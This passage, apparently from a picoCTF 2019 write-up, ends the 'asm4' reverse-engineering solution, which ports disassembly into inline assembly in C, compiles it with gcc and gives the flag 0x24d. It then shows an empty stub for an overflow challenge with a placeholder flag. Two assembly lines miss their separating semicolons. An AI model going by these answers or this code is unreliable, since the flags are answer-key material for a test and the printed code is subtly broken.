        <+117>:    add    eax,ecx
        <+119>:    movzx  eax,BYTE PTR [eax]
        <+122>:    movsx  eax,al
        <+125>:    sub    edx,eax
        <+127>:    mov    eax,edx
        <+129>:    add    eax,ebx
        <+131>:    mov    DWORD PTR [ebp-0x10],eax
        <+134>:    add    DWORD PTR [ebp-0x8],0x1
        <+138>:    mov    eax,DWORD PTR [ebp-0xc]
        <+141>:    sub    eax,0x1
        <+144>:    cmp    DWORD PTR [ebp-0x8],eax
        <+147>:    jl     0x530 <asm4+51>
        <+149>:    mov    eax,DWORD PTR [ebp-0x10]
        <+152>:    add    esp,0x10
        <+155>:    pop    ebx
        <+156>:    pop    ebp
        <+157>:    ret
   ```
2. Since this challenge is more complicated than challenges `asm1` and `asm2`, we will compile and run it using a different method than `asm3`.
3. We can compile the function into a C file using the following syntax ([source](https://gcc.gnu.org/onlinedocs/gcc/Extended-Asm.html)):

   ```cpp
    #include <stdio.h>
    #include <stdlib.h>

    int asm4(char* in)
    {
        int val;

        asm (
            "nop;"
            "nop;"
            "nop;"
            //"push   ebp;"
            //"mov    ebp,esp;"
            "push   ebx;"
            "sub    esp,0x10"
            "mov    DWORD PTR [ebp-0x10],0x25c"
            "mov    DWORD PTR [ebp-0xc],0x0"
            "jmp    _asm_27;"
        "_asm_23:"
            "add    DWORD PTR [ebp-0xc],0x1;"
        "_asm_27:"
            "mov    edx,DWORD PTR [ebp-0xc];"
            "mov    eax,DWORD PTR [%[pInput]];"
            "add    eax,edx;"
            "movzx  eax,BYTE PTR [eax];"
            "test   al,al;"
            "jne    _asm_23;"
            "mov    DWORD PTR [ebp-0x8],0x1;"
            "jmp    _asm_138;"
        "_asm_51:"
            "mov    edx,DWORD PTR [ebp-0x8];"
            "mov    eax,DWORD PTR [%[pInput]];"
            "add    eax,edx;"
            "movzx  eax,BYTE PTR [eax];"
            "movsx  edx,al;"
            "mov    eax,DWORD PTR [ebp-0x8];"
            "lea    ecx,[eax-0x1];"
            "mov    eax,DWORD PTR [%[pInput]];"
            "add    eax,ecx;"
            "movzx  eax,BYTE PTR [eax];"
            "movsx  eax,al;"
            "sub    edx,eax;"
            "mov    eax,edx;"
            "mov    edx,eax;"
            "mov    eax,DWORD PTR [ebp-0x10];"
            "lea    ebx,[edx+eax*1];"
            "mov    eax,DWORD PTR [ebp-0x8];"
            "lea    edx,[eax+0x1];"
            "mov    eax,DWORD PTR [%[pInput]];"
            "add    eax,edx;"
            "movzx  eax,BYTE PTR [eax];"
            "movsx  edx,al;"
            "mov    ecx,DWORD PTR [ebp-0x8];"
            "mov    eax,DWORD PTR [%[pInput]];"
            "add    eax,ecx;"
            "movzx  eax,BYTE PTR [eax];"
            "movsx  eax,al;"
            "sub    edx,eax;"
            "mov    eax,edx;"
            "add    eax,ebx;"
            "mov    DWORD PTR [ebp-0x10],eax;"
            "add    DWORD PTR [ebp-0x8],0x1;"
        "_asm_138:"
            "mov    eax,DWORD PTR [ebp-0xc];"
            "sub    eax,0x1;"
            "cmp    DWORD PTR [ebp-0x8],eax;"
            "jl     _asm_51;"
            "mov    eax,DWORD PTR [ebp-0x10];"
            "add    esp,0x10;"
            "pop    ebx;"
            //"pop    ebp;"
            //"ret    ;"
            "nop;"
            "nop;"
            "nop;"
                :"=r"(val)
                : [pInput] "m"(in)
        );

        return val;
    }

    int main(int argc, char** argv)
    {
        printf("0x%x\n", asm4("picoCTF_376ee"));

        return 0;
    }
   ```

   Note that jumps were ported to use labels, the input parameter was renamed and the frame setup and teardown were already taken care of by the compiler and therefore commented out in the assembly. The nops were inserted in order to make it easier to locate the inline assembly with a debugger or disassembler. An alternative was to use a dedicated assembly file as we did in `asm3`.
4. Compile by running `gcc -masm=intel -m32 solve.c -o solve`.
5. Run the [solve.c](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/asm4/solve.c) file with `./solve`

### Flag

`0x24d`


# Challenge Name

## Problem

> Okay now lets try manipulating arguments. program. You can find it in /problems/newoverflow-2\_5\_13f3d3dc09fc09d6d5db8adfa899a05d on the shell server. Source.

* [Program](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/vuln/README.md)
* [Source](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/vuln.c)

## Solution

### Flag

`picoCTF{example}`


